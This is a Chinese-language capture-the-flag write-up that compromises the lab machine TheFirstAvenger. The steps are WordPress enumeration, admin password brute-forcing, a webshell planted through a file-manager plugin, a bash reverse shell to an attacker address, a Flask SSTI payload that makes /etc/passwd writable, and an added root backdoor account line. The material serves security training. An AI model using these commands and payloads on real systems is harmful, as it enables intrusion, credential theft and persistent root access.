TheHackersLabs TheFirstAvenger writeup
信息收集
nmap
获取userFlag
上web看一下
只有一个静态页面,gobuster扫一下目录
gobuster dir -u http://192.168.43.36/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
去访问这个目录
右键看一下源码
添加到hosts后再次访问,然后往下翻到末尾,可以看出该博客用的cms是wordpress
然后就是通过wpscan扫一下主题,插件,用户之类的
wpscan --api-token 你自己的api-token --url http://192.168.43.36/wp1 --plugins-detection aggressive -e u,ap
# --plugins-detection:设置插件检测的激进程度,aggressive表示进行更深度的扫描
# -e:枚举
# u:用户名
# ap:所有插件
这里没有找到用户,但找到了一个插件:stop user enumeration 1.6.3。从名字上就知道该插件的作用就是阻止我们通过枚举的方式获得后台用户名,这也是为什么没有枚举出用户的原因。然后这里提供了一个exploit:CVE-2025-4302,关于这个CVE的描述参考:Stop User Enumeration < 1.7.3 - Protection Bypass 漏洞信息(CVE-2025-4302) - by 漏洞平台
这里我试了一下,我直接访问的话返回的是404,url编码后也是404,也就是说这个靶机可能根本就没有/wp-json/wp/v2/users/接口
上网查了一下,wordpress后台默认登录用户为admin
所以接下来的思路是去爆破admin用户
wpscan --api-token 你的api-token --url http://192.168.43.36/wp1 -U admin -P 5000.txt
拿到账密了,登录上去
然后你现在就是管理员了,那其实你想做什么都是可以的,这里我的选择是去安装一个叫 File Manager 的插件
这个插件的特点就是它本身允许我们直接在服务器上新建php文件,所以通过该插件相当于可以直接拿到一个webshell
这样就把马写进去了
然后就可以弹shell了
可以看到,它果然是没有wp-json目录的
然后这里靶机的默认shell好像是sh,所以用bash弹shell的话前面要加 /bin/bash -c:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.43.180/8888 0>&1'
拿到shell后先ss -lnpt看一下:
这里可以看到3306、7092端口都只监听在本机,那么这里的话3306应该可以获取user,而7092应该和提权有关。wordpress的数据库配置信息在wp-config.php里,先去看一下这个文件:
用找到的账密登录mysql
steve是系统中的普通用户,这个可以通过看/etc/passwd知道,把拿到的MD5去解密
切到steve上去,然后在家目录下就可以拿到userflag
userflag:8ec79c43a3329b64b687652519841323(MD5)
获取rootFlag
先curl一下7092端口,看一下上面部署的是什么
通过响应,可以确认7092上部署了一个http的服务,通过title来看是一个网络工具。因为现在这个端口只能在本地访问,所以如果想从外部访问的话需要先将这个端口转发出来:
ssh -g -L 0.0.0.0:9090:127.0.0.1:7092 steve@192.168.43.36 -p 22
在知道目标中系统用户的登录密码且允许ssh连接的情况下,可以在kali上执行上述命令通过ssh进行正向端口转发,作用是将目标的7092端口映射到本机的9090端口上来。然后现在访问kali的9090端口
然后这里我最先尝试的是命令注入
但失败了,从红框部分可以发现ping的实现确实是调用了系统ping命令的,那这种情况的出现应该就是后端对输入做了特殊处理,并没有直接拼接,那么现在需要去判断一下这个站点后端用的是什么。
用whatweb看一下,可以发现这个站点后端用的是python
那后端语言是python的话,web框架极大可能就是flask,所以试一下flask ssti
果然存在flask ssti,那提权的路径应该就是通过flask ssti来拿到root shell了,之后我尝试过直接弹shell,但是不管是直接 bash -i 还是 bash -c 都失败了,然后给/bin/bash添加suid权限也失败了,不知道为什么。所以这里我的选择是给/etc/passwd加777权限,然后添加一个后门账户来拿到root shell。
flask ssti payload:
{{url_for.__globals__['os'].popen('chmod 777 /etc/passwd')}}
然后把下面这条数据添加到文件末尾即可,密码是123,这个可以通过 openssl passwd 123 来生成
backdoor:$1$kqqv06zB$5zeN0dZ3lM6FaA34MnNRH/:0:0:hacker:/root:/bin/bash
但这里没有vim,甚至连vi也没有,所以这里要用nano来编辑。添加完之后su切过去即可
然后根目录下拿到rootflag
rootflag:d55518626cc68bcc7a1e7c7daef9f648(MD5)